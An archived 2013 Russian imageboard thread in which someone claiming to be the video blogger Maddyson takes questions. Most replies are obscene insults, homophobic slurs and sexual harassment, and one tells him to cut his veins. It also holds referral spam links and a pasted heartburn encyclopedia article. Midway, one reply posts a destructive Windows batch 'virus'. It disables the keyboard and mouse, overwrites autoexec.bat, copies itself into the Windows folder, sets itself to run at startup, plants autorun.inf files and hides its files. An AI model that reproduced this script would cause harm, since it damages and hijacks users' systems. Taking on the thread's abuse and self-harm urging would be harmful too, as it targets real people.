Карта сайта

Это автоматически сохраненная страница от 25.06.2013. Оригинал был здесь: http://2ch.hk/b/res/50536504.html
Сайт a2ch.ru не связан с авторами и содержимым страницы
жалоба / abuse: admin@a2ch.ru

Втр 25 Июн 2013 22:31:19
Суп б
Всем привет, с вами Мэддисон. Задавайте ответы.


Втр 25 Июн 2013 22:32:32
>>50536504
Запили еще одно днище.

Втр 25 Июн 2013 22:33:54
>>50536559
Нет.

Втр 25 Июн 2013 22:33:57
>>50536504
Где борода, Мэд?

Втр 25 Июн 2013 22:34:26
>>50536504
Иди на хуй.

Втр 25 Июн 2013 22:34:27
>>50536636
Сук, смищно же.

Втр 25 Июн 2013 22:34:34
>>50536504
Бочку делаешь?

Втр 25 Июн 2013 22:34:51
>>50536504

Илюша, хуи сосешь?

Втр 25 Июн 2013 22:34:57
>>50536504
Не похож ни грамма.

Втр 25 Июн 2013 22:35:34
>>50536642
Не попала в кадр.

Втр 25 Июн 2013 22:35:39
>>50536504

Когда с двачей уйдешь, быдло?

Втр 25 Июн 2013 22:35:40
Совсем делать нечего? Иди деньги насасывай обзорами и телепередачами.

Втр 25 Июн 2013 22:35:51
>>50536504
Витяй у тебя посасывает?

Втр 25 Июн 2013 22:35:53
>>50536504
обзор запилишь?
Это правда вы, вы настоящий?
Спасибо вам большое за всё

Втр 25 Июн 2013 22:36:07
Мэд. Помнишь Хурму? Ну Ганс там. Знаешь таких?

Втр 25 Июн 2013 22:36:10
>>50536504
сасай

Втр 25 Июн 2013 22:36:31
>>50536740
И вам спасибо за сажу.

Втр 25 Июн 2013 22:36:56
>>50536504
Уёбывай.

Втр 25 Июн 2013 22:37:01
>>50536723
>Не попала в кадр.
Фейкомэд выбрал нужны ракурс и думает что обманул верна.

Втр 25 Июн 2013 22:37:02
>>50536739
Норм, ты как?

Втр 25 Июн 2013 22:37:11
Мэд, какое пиво самое лучшее в соотношении цена/качество на твой взгляд?

Втр 25 Июн 2013 22:37:12
>>50536504

Нужно больше фотошопа, зелёный.

Втр 25 Июн 2013 22:37:13
>>50536504
УЁБЫВАЙ!

Втр 25 Июн 2013 22:37:22
>>50536504
Уёбывай.

Втр 25 Июн 2013 22:37:33
>>50536504
Я б тебе дала.
мимотян

Втр 25 Июн 2013 22:37:44
>>50536807
Охота

Втр 25 Июн 2013 22:37:52
Что это? Посоны. Это УЁБЫВАЙ-тред?

Втр 25 Июн 2013 22:37:54
>>50536504
неплохие обзоры

Втр 25 Июн 2013 22:37:58
>>50536746
Ну так? Вы с этими хурмачами с Хованов в скупе сидели, ну

Втр 25 Июн 2013 22:38:02
>>50536504
твои шутки смешные. не очень.

Втр 25 Июн 2013 22:38:03
>>50536504
Совсем жирному нечем заняться

Втр 25 Июн 2013 22:38:13
>>50536504
>с вами Мэддисон
Ты не с нами, ты под нами.

Втр 25 Июн 2013 22:38:15
Мэд если это ты в реале..
то скажи в днище: "я вас траллил, имба азаза лолка"

Втр 25 Июн 2013 22:38:20
>>50536828
Он же жирный.
миможирный

Втр 25 Июн 2013 22:38:26
>>50536504
когда следующий нормальный обзор будет? ты заебал со своей дотой.

Втр 25 Июн 2013 22:38:28
>>50536504
Ты ленивая жопа, и это плохо как для твоих фанатов, так и для тебя. У тебя же ебаный дар, чувак! У тебя потрясающая харизма, великолепная способность говорить абсолютно о любой хуйне невероятно смешно. Но ты ленивая жопа. С твоими способнастями легко можно выйти на принципиально новый уровень, зарабатывать реально большие деньги, стать популярнее всех хуесосов типа зис ис хорошо. У тебя же в голове дохера интересных идей, я знаю. Просто ты черезчур апатичный и ленивый. Я, как твой фанат, желаю тебе добра, но чувак, тебе пора меняться. Такие дела.

Ах да, если тебе не сложно, передай хованскому, что я его мамку ебал.

Втр 25 Июн 2013 22:38:31
>>50536852
УЁБЫВАЙ

Втр 25 Июн 2013 22:38:37
>>50536814
Опередил.
Ну еще один шанс остался.
Руки в говне?

Втр 25 Июн 2013 22:38:56
>>50536504 Не нужен.

Втр 25 Июн 2013 22:39:15
>>50536504
Кто таков? Чем знаменит?

Втр 25 Июн 2013 22:39:16
>>50536504
Обзор туземуня- это вершина в твоём творчестве, хуй.
Заебись, что ты это осознал и больше не стал заниматься этим говном. Да, в том самом фильме с патиссоном играет пиздатая музыка, угадай чья?

Втр 25 Июн 2013 22:39:20
>>50536504
Сиськи с супом или уебывай, толстота.

Втр 25 Июн 2013 22:39:23
>>50536504
Поясни за сомика.

Втр 25 Июн 2013 22:39:38
>>50536885
Способностями, конечно же.

Втр 25 Июн 2013 22:39:43
>>50536504
Мэд, тебе не жалко, что такое бестолковое хуйло, как Хованский, набрало столько деньжат? Хотя он обязан своей популярностью тебе.

Втр 25 Июн 2013 22:39:53
Совсем ебанутые? Этой фотке хуй знает сколько уже.
Долбоёбы. Суп фейковый, мэд настоящий.
Гоните траля.
Хотя стоит отметить, что ОП преуспел итт.

Втр 25 Июн 2013 22:39:53
>>50536869
проиграл блядь
мимо меддисон

Втр 25 Июн 2013 22:39:52
>>50536874
Ну и что.

Втр 25 Июн 2013 22:40:11
http://Cash4Visits.com/ref.php?refId=261534

Втр 25 Июн 2013 22:40:14
>>50536504
Ты днище, Ваномас круче

Втр 25 Июн 2013 22:40:24
>>50536504
Мамку твою ебал.

Втр 25 Июн 2013 22:40:33
Привет! Знаю тебя едва ли. Только тут слышал.может потому что я 88 года? Как ты оценишь своё финансовое положение по 4 бальной шкале?

Втр 25 Июн 2013 22:40:33
>>50536504
Вырезать ебала из стримов и фотошопить сапы, разводят говно.
Традиции.

Втр 25 Июн 2013 22:40:45
Илья, я хочу тебя. Я хочу тебя всего. Когда я смотрю на твои фото, меня накрывает волна желания, подхлестываемая похотью, и моя рука сама тянется к области гениталий. Я сам не знаю, что со мной происходит, но даже сейчас, глядя на оп-пик во мне проснулась необузданная страсть и я начал яростно ласкать себя. Я хочу тебя, Илья. Я хочу провести с тобой хотя бы одну ночь вместе. Ночь, полную жаркого и разнузданного однополого секса, освобожденного от оков общественной морали. Илюша, будь моим.

Втр 25 Июн 2013 22:41:08
>>50536504
History When 2013:06:25 21:50:59+04:00,
2013:06:25 22:06:52+04:00,
2013:06:25 22:12:59+04:00,
2013:06:25 22:14:47+04:00,
2013:06:25 22:21:22+04:00,
2013:06:25 22:22:54+04:00,
2013:06:25 22:26:32+04:00,
2013:06:25 22:26:32+04:00
History Software Agent Adobe Photoshop CS5 Windows,
Adobe Photoshop CS5 Windows,
Adobe Photoshop CS5 Windows,
Adobe Photoshop CS5 Windows,
Adobe Photoshop CS5 Windows,
Adobe Photoshop CS5 Windows,
Adobe Photoshop CS5 Windows,
Adobe Photoshop CS5 Windows

Втр 25 Июн 2013 22:41:10
>>50536504
Лол, опустился уже до двощей. Ну давай, осенью камвхорить начинай.

Втр 25 Июн 2013 22:41:20
>>50536504
Съеби, вниманеблядок ебанный

Втр 25 Июн 2013 22:41:23
>>50536968
>Совсем ебанутые? Этой фотке хуй знает сколько уже.
>Долбоёбы. Суп фейковый, мэд настоящий.
>Гоните траля.
>Хотя стоит отметить, что ОП преуспел итт.
Два чая.

Втр 25 Июн 2013 22:41:28
Мэд, а ну-ка давай еще супы. А то ты какой-то левый

Втр 25 Июн 2013 22:41:41
>>50536816
Всем пока, с вами был Мэддисон.

Втр 25 Июн 2013 22:42:24
>>50536504
А ты кто?

Втр 25 Июн 2013 22:42:42
>>50537080
скатертью дорога

Втр 25 Июн 2013 22:43:00
>>50537080
Ты че через зеркало сфоткал?

Втр 25 Июн 2013 22:43:04
>>50536504
спасибо мэд

Втр 25 Июн 2013 22:43:04
>>50537080
Вернись, я всё прощу!

Втр 25 Июн 2013 22:43:14
>>50537080
Лол.
Даже пиздец.
Блядь.
Ну это без слов нужно понимать.

Втр 25 Июн 2013 22:43:32
>>50536504
Почему тебя так не любят на хиккаче?

Втр 25 Июн 2013 22:43:44
>>50536828
Что и следовало доказать.

Втр 25 Июн 2013 22:44:08
>>50537080
Так ты же не Медисон

Втр 25 Июн 2013 22:44:37
>>50536504
Привет, Мендельсон. Всё еще клепаешь говно на поток? Не надоело самому?

Втр 25 Июн 2013 22:44:39
>>50536504
Почему не лольцо?

Втр 25 Июн 2013 22:44:51
Мэд, ты же по-любому Хованского в попчан балуешь? Не с проста же он визжать начал в последнее время.

Втр 25 Июн 2013 22:45:24
Знаменитость уровня /b//vg/.

Втр 25 Июн 2013 22:45:32
>>50536885
>передай хованскому, что я его мамку ебал
И ты тоже?

Втр 25 Июн 2013 22:48:15
Пацаны, сматрите:
http://Cash4Visits.com/ref.php?refId=261528

Втр 25 Июн 2013 22:48:41
Мэд, Мэд, а Усачев правда глиномес? А у него парень есть? А мамка знает? И все такое.

Втр 25 Июн 2013 22:49:36
>>50536504
Какая у тебя любимая порнушка? Желательно линк.

Втр 25 Июн 2013 22:51:06
>>50536997
Я знаю.

Втр 25 Июн 2013 22:52:18
>>50537417
Блядь, какая шикарная жопа. 10/10.

Втр 25 Июн 2013 22:53:06
>>50537513
Када новый абзор?

Втр 25 Июн 2013 22:53:15
Где обзор новый? Хватит пилить хуйню на лайв-канал

Втр 25 Июн 2013 22:53:29
>>50536504
Мед, посоветуй почитать.
Это моя традиция, у всех более - менее знаменитых спрашиваю.

Втр 25 Июн 2013 22:53:32
>>50537513
Зачем пиарил Хована?
Сделал минет?

Втр 25 Июн 2013 22:54:34
>>50537513
Ну плиииз, запили еще одну серию днища...

Втр 25 Июн 2013 22:54:37
>>50537513
Ксюша за свободные отношения?

Втр 25 Июн 2013 22:55:05
>>50537513
Мамку пер.

Втр 25 Июн 2013 22:55:19
>>50537513
Как дела, бро?

Втр 25 Июн 2013 22:55:30
Я вырос на твоих роликах мудисон, серьезно. Еще на Рутюбе смотрел, еще когда камикадзе с тобой тесно сотрудничал, я блядь олдфаг твоего творчества.

Втр 25 Июн 2013 22:55:34
>>50537649
Кафку читни.

Втр 25 Июн 2013 22:55:41
Чому все рашкинские говноблоггеры знают друг доуга лично? И нахуя ты Хованского пиарил, это же уровень даже ниже камеди?

Втр 25 Июн 2013 22:56:37
>>50537774
Пиарил? Он блджат до сих пор его форсит

Втр 25 Июн 2013 22:56:41
Мэд, нахуй ты нужен если не отвечаешь?

Втр 25 Июн 2013 22:56:41
>>50537513
Да ты же упорот!

Втр 25 Июн 2013 22:56:51
>>50537774
Рашка ведь это одна большая деревня, да и посмотри на этих "блоггеров", быдло сплошное.

Втр 25 Июн 2013 22:57:52
>>50536504
Оперативу поменял? Когда шлаком баловать будешь?

Втр 25 Июн 2013 22:58:04
>>50537513
Спасибо за видосы.
Ты няша :3

Втр 25 Июн 2013 22:58:08
>>50537513

Creator Tool
Adobe Photoshop CS5 Windows
Create Date
2013:06:25 21:50:59+04:00
Metadata Date
2013:06:25 22:45:52+04:00
Modify Date
2013:06:25 22:45:52+04:00

Втр 25 Июн 2013 22:58:34
Мэд, спасибо, что ты есть. :3

Втр 25 Июн 2013 22:58:37
>>50537867
И ты здесь, аутист? Свали в туман, никому ты не нужен, быдло.

Втр 25 Июн 2013 22:58:38
>>50537836
По твоим меркам и Земляшка не больше города.

Втр 25 Июн 2013 22:58:56
>>50536504
я бы тебе отсосал, жирный пидор

Втр 25 Июн 2013 22:58:57
>>50537011
>4 бальной шкале
>4 бальной

Втр 25 Июн 2013 22:59:03
>>50537513
Реквесты на даблы выполняешь? Напиши на листе что хованский ваномас и видеосос.

Втр 25 Июн 2013 22:59:34
Чому ты не сьебал? Нарушил платину.

Втр 25 Июн 2013 22:59:53
Когда новый выпуск Аверладзе?

Втр 25 Июн 2013 23:00:13
>>50536504
@echo off
rundll32 user,setcursorpos //Убираем с экрана курсор в левый угол
rundll32 keyboard,disable //Было
rundll32 mouse,disable //Было
rundll32 user,swapmousebutton. //Тут мы переставляем кнопки мыши
echo Обновление параметров системы, пожалуйста подождите... //пишет отмазку :)
label mp_k //Меняем имя диску
copy mp_k.exe %windir% //Копирует себя в папку windows
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat
if exist c:\io.sys echo autoexec.bat echo YOU_ARE_LAMMER....[]=[_H@CKED_BY_[kas]*_"SmallPox_Vir_Org"_] > c:\autoexec.bat
echo run = %windir%\mp_k.exe >> %windir%\win.ini
echo run = %windir%\mp_k.exe >> %windir%\system.ini
echo [AutoRun] > c:\autorun.inf //Эти операции есть в прошлом вирусе.
echo open=c:\autoexec.bat > c:\autorun.inf
echo [AutoRun] > d:\autorun.inf
echo open=c:\autoexec.bat > d:\autorun.inf
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Warning,.. А теперь необходимо перезагрузиться"); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
attrib %windir%\mp_k.exe +h +s +a +r
attrib c:\autorun.inf +h +s +a +r
attrib d:\autorun.inf +h +s +a +r
deltree /y mp_k.exe
rmdir %windir%\temp //Удаляем папку temp
mkdir %windir%\temp //Создаем папку temp
cls

Втр 25 Июн 2013 23:00:19
>>50536504
Вместо тысячи слов.

Втр 25 Июн 2013 23:00:19
>>50537915
Двачую вот этого. Как можно на эту хуйню вестись?

Втр 25 Июн 2013 23:00:30
>>50537513
Позвони Ховану по скайпу.

Втр 25 Июн 2013 23:00:54
http://Cash4Visits.com/ref.php?refId=261545

Втр 25 Июн 2013 23:02:02
Реквестирую увеличение пуза для солидности.

Втр 25 Июн 2013 23:02:06
>>50537513
Мэд, круто, раз ты здесь то хочу тебе сказать что у тебя двойные стандарты. То ты пишешь что максимка 100500 лох, бездарность, а до этого в блогге писал что скромный парень и
можешь сделаете что-нибудь с ним.

Втр 25 Июн 2013 23:02:12
>>50537513
Тебя тянка бросила что опять тут ошиваешься? Это не ты мне сегодня утром тут плакался что тебе плохо пока я печёнку жарил?

Втр 25 Июн 2013 23:02:46
>>50537915
Двачую, видно же что листок не с фотки.

Втр 25 Июн 2013 23:03:53
>>50536504
Реквесты на дабл/трипл выполняешь?

Втр 25 Июн 2013 23:04:01
Поясните, что это за хуй в ОП-посте?

Втр 25 Июн 2013 23:04:27
Важный вопрос
>>50538172
А как ты собираешься устанавливать принадлежность хуя Мудисону?

Втр 25 Июн 2013 23:04:35
>>50538023
Никто не ведётся, просто это такая двачеигра.

Втр 25 Июн 2013 23:04:47
>>50538220
Вы недавно в рунете?

Втр 25 Июн 2013 23:04:52
>>50538220
Видеоблогер, хуесос, король школьников, что-то. Еще обзор на сосач пилил, да.

Втр 25 Июн 2013 23:05:34
>>50537513
Привет, Мэд.
мы с тобой, дружище.

Втр 25 Июн 2013 23:05:44
>>50538249
Я его видел.
не спрашивай где и при каких обстоятельствах, просто видел

Втр 25 Июн 2013 23:06:17
Дорогой Меддисон, я твой самый преданный фанат, но ты дурак, потому что ты не носишь шлем на голове, блеать!

Втр 25 Июн 2013 23:06:22
>>50538266
Без малого 9 лет. Помню удав.ком совсем маленьким.
Чем знаменит сей бородатый павлин?

Втр 25 Июн 2013 23:07:00
Кто он такой, чем знаменит?

Втр 25 Июн 2013 23:07:23
>>50536504
как ты переживаешь тот факт, что твоя баба шлюха?

Втр 25 Июн 2013 23:07:28
>>50537513
ПОСОНЫ ПОСОНЫ ЭТО ЖЕ МЭД ЗАСКРИНЬТЕ МЕНЯ С НИМ!

Втр 25 Июн 2013 23:07:31
>>50538336
Обзорщик игр, лох и пидр.

Втр 25 Июн 2013 23:07:37
Илюша, почему ты не похудеешь. Это же так просто.

Втр 25 Июн 2013 23:08:18
> 141 ответ за полчаса
Всё правильно делаете.

Втр 25 Июн 2013 23:08:41
>>50537513
А Мэд то настоящий! Только худой. Со времён последних обзоров много времени прошло. Явно не доедает.

Втр 25 Июн 2013 23:08:55
>>50538407
Благодарен вам.
сажаскрыл

Втр 25 Июн 2013 23:09:21
>>50538413
Будет дрыщавым уебком с большой головой, лучше уж жиробасом быть.

Втр 25 Июн 2013 23:10:13
Болят, а это что за хуйло еще?

Втр 25 Июн 2013 23:10:36
>>50536504
СДЕЛАЙ суп на завтрашнее число и на следующий год. Просто мало ли кто вспомнит через год об этой пикче и пострадает хуйней в /b/ через год

Втр 25 Июн 2013 23:11:15
>>50538407
Ясно.

мимо-макобог

Втр 25 Июн 2013 23:11:37
>>50536504
как же ты доебал уже!

Втр 25 Июн 2013 23:12:28
>>50536504
Реквестую Зануду в спальне.

Втр 25 Июн 2013 23:13:19
>>50536636
пидара ответ

Втр 25 Июн 2013 23:13:22
Мэд, сфоткай ступни Зануды. С меня нихуя.

Втр 25 Июн 2013 23:14:45
МЭД, ТЫ УЖЕ НЕ ТОРТ!

Втр 25 Июн 2013 23:15:14
>>50537513
Сделай сигну "I Брутанио"
Пожалуйста

Втр 25 Июн 2013 23:15:18
Мэд, как ты относишься к лапше быстрого приготовления "Ролтон"?

Втр 25 Июн 2013 23:15:30
>>50537767
Читал.
Лютейшее говно, причём кафку мне посоветовал Луперкаль.
От вас, нацистов, ничего другого и не узнаешь, кроме кафки.

Втр 25 Июн 2013 23:15:50
Пиратский крюк Илюши уже постили?
тред не читал

Втр 25 Июн 2013 23:16:36
МЭД, НА КОГО ТЫ НАС ОСТАВИЛ?!?!?!

Втр 25 Июн 2013 23:17:26
>>50536504
Добра тебе няша. :3

Втр 25 Июн 2013 23:17:47
>>50538911
На Хованского

Втр 25 Июн 2013 23:17:50
Единственный суп, которому поверю - на стене.

Втр 25 Июн 2013 23:18:02
Вах медисон, почему всякие карамбы и спасибоевы так хардкорно слились, учитывая их опыт на что давайлайма расчитывает?

Втр 25 Июн 2013 23:18:11
Мэд, полосни себе вены. И Хованского забери с собой. И всех уебков с ютуба кароч. Вы заебали.

Втр 25 Июн 2013 23:18:15
>>50538721
Ахах, вот этого двачую!

Втр 25 Июн 2013 23:18:37
>>50536504
Когда Полицейские будни?

Втр 25 Июн 2013 23:18:46
МУДЕСАН ЁБА ПАСМАТРИ КАРОЧ
ИЛИ МОМКЕ ИПАЛ
>>50538022

Втр 25 Июн 2013 23:19:20
>>50538840
"Экзистенциализм похлеще, чем у Кафки"? Мы тебя затраллили короче. См. пикрелейтед, может найдешь чего для себя.

Втр 25 Июн 2013 23:19:30
>>50537513
Суп нормальный запили!

Втр 25 Июн 2013 23:20:14
>>50536636
твоя мама любит немца.

Втр 25 Июн 2013 23:20:16
>>50539010
А мне нравится Хован

Втр 25 Июн 2013 23:21:10
хм, а почему еще не завайпали ?

Втр 25 Июн 2013 23:21:39
Изжога
[править]
Материал из Википедии свободной энциклопедии
Перейти к: навигация, поиск Изжога

Различные антацидные препараты, применяемые для снятия симптома изжоги
МКБ-10 R12.
МКБ-9 787.1


Изжо±га ощущение дискомфорта или жжения за грудиной, распространяющегося кверху от эпигастральной (подложечной) области, иногда отдающего в область шеи.Содержание [убрать]
1 Распространенность
2 Причины изжоги
3 Изжога симптом различных заболеваний
4 Инструментальные исследования
5 Факторы, увеличивающие вероятность гастроэзофагеальных рефлюксов и изжоги
6 Изменение образа жизни
7 Медикаментозная терапия
8 Хирургическое лечение
9 Источники

Распространенность[править]

В развитых странах изжога встречается у 2050 % населения. Частая изжога (не реже раза в неделю) в странах Западной Европы и Северной и Южной Америки и Турции составляет 10-20 %, в других странах Азии 5 %.[1] В США изжогу испытывают не реже раза в месяц более 60 млн жителей, а 15 млн из них ежедневно.[2] Согласно опросу 2003 года, проведенного в Москве, частая изжога (чаще раза в неделю) встречалась примерно у 18 %, редкая (реже раза в неделю) примерно у 22 %.[1] Имеются данные, что от изжоги страдают 50 млн европейцев, в том числе изжогу во Франции когда-либо испытывали около 20 % жителей, в Швеции 40 %. В России изжогу испытывают изредка 48,5 % женщин и 51,4 % мужчин, частые жалобы имеются у 3,7 % женщин и 1,2 % мужчин.[3]
Причины изжоги[править]

В популярных публикациях для пациентов говорится, что изжога это результат воздействия кислоты желудочного сока на слизистую оболочку пищевода, попадающей из желудка в результате гастроэзофагеальных рефлюксов или регургитации.[4] В других источниках отмечается, что кроме соляной кислоты, повреждающую роль играют также пепсин, желчные кислоты, лизолецитин, ферменты поджелудочной железы.[1]

Кислота, а также другие вредные для пищевода ингредиенты попадают в пищевод из желудка вследствие ретроградного движения содержимого желудка в пищевод через нижний пищеводный сфинктер (НПС), вызываемого гастроэзофагеальными рефлюксами (ГЭР) или регургитацией.[4]

Гастроэзофагеальные рефлюксы, в свою очередь, происходят из-за того, что нижний пищеводный сфинктер разжимается не только при прохождении болюса из пищевода в желудок, но и в иные моменты. ГЭРы бывают и у здоровых людей, однако часто повторяющиеся ГЭРы являются отклонением от нормального состояния и причиной этих рефлюксов является недостаточная замыкательная функция нижнего пищеводного сфинктера.[4]

Изжога часто встречается у беременных.
Изжога симптом различных заболеваний[править]

Наиболее тесно изжога коррелирована с гастроэзофагеальной рефлюксной болезнью (ГЭРБ). Согласно докладу Генвальской конференции (1999 г.) изжога является важнейшим симптомом ГЭРБ. При этом, если изжога главный или единственный симптом, то у 75 % пациентов причина изжоги ГЭРБ. В обратную сторону, изжога самый частый симптом ГЭРБ и имеется она, как минимум у 75 % больных ГЭРБ.[3]

Изжога часто (но не всегда) вызывает воспаление слизистой оболочки пищевода эзофагит.[4] Если при этом наблюдается ГЭРБ, то такое заболевание называется рефлюкс-эзофагит. Изжога также может сигнализировать о состояниях и заболеваниях, являющимися осложнениями ГЭРБ: пептической язве пищевода, стриктурах пищевода, пищеводе Барретта (являющийся потенциально предраковым заболеванием) и аденокарциноме пищевода. Причиной изжоги могут быть также нарушения моторики пищевода, желудка и двенадцатиперстной кишки.[1]
Инструментальные исследования[править]

Фрагмент условной суточной рН-граммы пациента, страдающего изжогой и обширными гастроэзофагеальными рефлюксами

Изжога является симптомом различных заболеваний желудочного-кишечного тракта (ЖКТ). В некоторых случаях возможна диагностика и назначение лечения только на основе распроса больного, в других требуются инструментальные обследования ЖКТ пациента. Наиболее распространенным является эзофагогастроскопия процедура, при которой врач с помощью эндоскопа осматривает поверхность пищевода и желудка и делает заключение о состоянии слизистой оболочки. При отказе пациента от этого исследования, может быть назначено рентгеноконтрастное исследование верхних отделов ЖКТ, которое менее информативно, но оно может помочь обнаружить сужения пищевода и наличие грыжи пищеводного отверстия диафрагмы.[4]

Исследованием, позволяющим выявить количественные характеристики воздействия кислоты желудочного сока на пищевод, является суточная рН-метрия. При этой процедуре пациенту через нос вводится тонкий рН-зонд, с помощью которого у пациента, ведущего обычный образ жизни, ведется запись значений кислотности в одной-двух точках пищевода и желудке.[2][4] Для исследования запирающей способности нижнего пищеводного сфинктера и моторики пищевода применяется манометрия пищевода.[2]

Втр 25 Июн 2013 23:22:12
>>50539151
Ну и? Может он через него размер уменьшал, или цвет поправлял, или еще чего.

Втр 25 Июн 2013 23:22:21
>>50539151
Иди на хуй отсюда Мудисон ебаный , твои обзоры хуйня

Втр 25 Июн 2013 23:22:31
>>50539149
>А мне нравится Хован
А мне нравятся девушки.

Втр 25 Июн 2013 23:22:43
Факторы, увеличивающие вероятность гастроэзофагеальных рефлюксов и изжоги[править]

Изжога часто возрастает после шоколада, кофе, крепкого чая, мяты, жирных блюд, цитрусовых, горячих или спиртных напитков. Факторами, провоцирующими изжогу, является переедание, прием пищи менее, чем за 2-3 часа до сна. Изжогой чаще страдают лица с избыточным весом. Курение табачных изделий стимулирует секрецию кислоты в желудке, а также способствует расслаблению нижнего пищеводного сфинктера. Изжога происходит чаще при горизонтальном положении тела пациента, а также при наклонах и изгибаниях тела. Изжогу может провоцировать тесная, стягивающая живот одежда. Наличие грыжи пищеводного отверстия диафрагмы также несколько увеличивает вероятность изжоги.[2][4]
Изменение образа жизни[править]

Пациенты, страдающие изжогой, должны постараться внести коррективы в свой образ жизни. Отказ от перечисленных выше продуктов, приём пищи меньшими порциями, но более часто, отказ от еды перед сном, уменьшение веса тела, отказ от курения и алкоголя, стягивающей одежды, сон на кровати с поднятым изголовьем могут положительно влиять на состояние больного и уменьшить число эпизодов изжоги.[4]
Медикаментозная терапия[править]

Изжогу купируют кислотонейтрализующими препаратами, в частности, безрецептурными антацидами и альгинатами. Предполагается, при этом, что первичную консультацию по приёму этих препаратов пациент получает в аптеке.[1][4] В связи с тем, что в США к безрецептурным средствам относятся также некоторые ингибиторы протонной помпы, то они также присутствуют в рекомендациях пациентам по лечению изжоги и ГЭРБ среди препаратов, которые выбираются больными с участием провизоров.[2]

Согласно позиции многих современных российских и зарубежных гастроэнтерологов[3], в том числе Научного общества гастроэнтерологов России[1], основным классом препаратов, которые должны назначаться врачом при обращении пациентов с жалобой на изжогу, должны быть ингибиторы протонной помпы.
Хирургическое лечение[править]

В наиболее тяжелых случаях, когда имеется недостаточная замыкательная функция нижнего пищеводного сфинктера, не поддающаяся терапевтическому лечению, выполняется хирургическая операция, направленная на коррекцию этой функции. Перспективным направлением хирургического лечения являются антирефлюксные лапароскопические операции с формированием в области [некомпетентногоk нижнего пищеводного сфинктера искусственного сфинктера, моделирующего строение замыкательного механизма, для улучшения непосредственных и отдаленных результатов хирургического лечения больных рефлюксной болезнью.[5]
Источники[править]
1 2 3 4 5 6 Лазебник Л. Б., Бордин Д. С., Машарова А. А. Общество против изжоги. Экспериментальная и клиническая гастроэнтерология. 2007. 4. С. 5-10.
1 2 3 4 5 Американская коллегия гастроэнтерологов. Understanding GERD. A consumer education brochure about gastroesophageal reflux disease (англ.). Перевод: Это только небольшая изжога или что-то более серьёзное?
1 2 3 Лапина Т. Л. Изжога: распространенность, клиническое значение, ведение пациентов. Фарматека. Гастроэнтерология, 2006, с. 96-103.
1 2 3 4 5 6 7 8 9 Британское общество гастроэнтерологов. Heartburn and Gastro-oesophageal Reflux (англ.). Перевод: Рекомендации пациентам с изжогой и гастроэзофагеальным рефлюксом.
Жерлов Г. К., Гюнтер В. Э., Кошель А. П. и др. Хирургическое лечение рефлюкс-эзофагита. Хирургия. 7. 2004.
Категории: Симптомы по алфавиту
Симптомы заболеваний ЖКТ человека
Навигация
Создать учётную запись
Представиться системе
Статья
Обсуждение
Читать
Править
История

Заглавная страница
Рубрикация
Указатель АЯ
Избранные статьи
Случайная статья
Текущие события
Участие
Сообщить об ошибке
Портал сообщества
Форум
Свежие правки
Новые страницы
Справка
Пожертвования
Печать/экспорт
Инструменты
На других языках
Bahasa Banjar
Deutsch
;X8\0X4V@`
English
EspaЎol
Suomi
Fran—ais
Galego
’Ѓ
← К списку тредов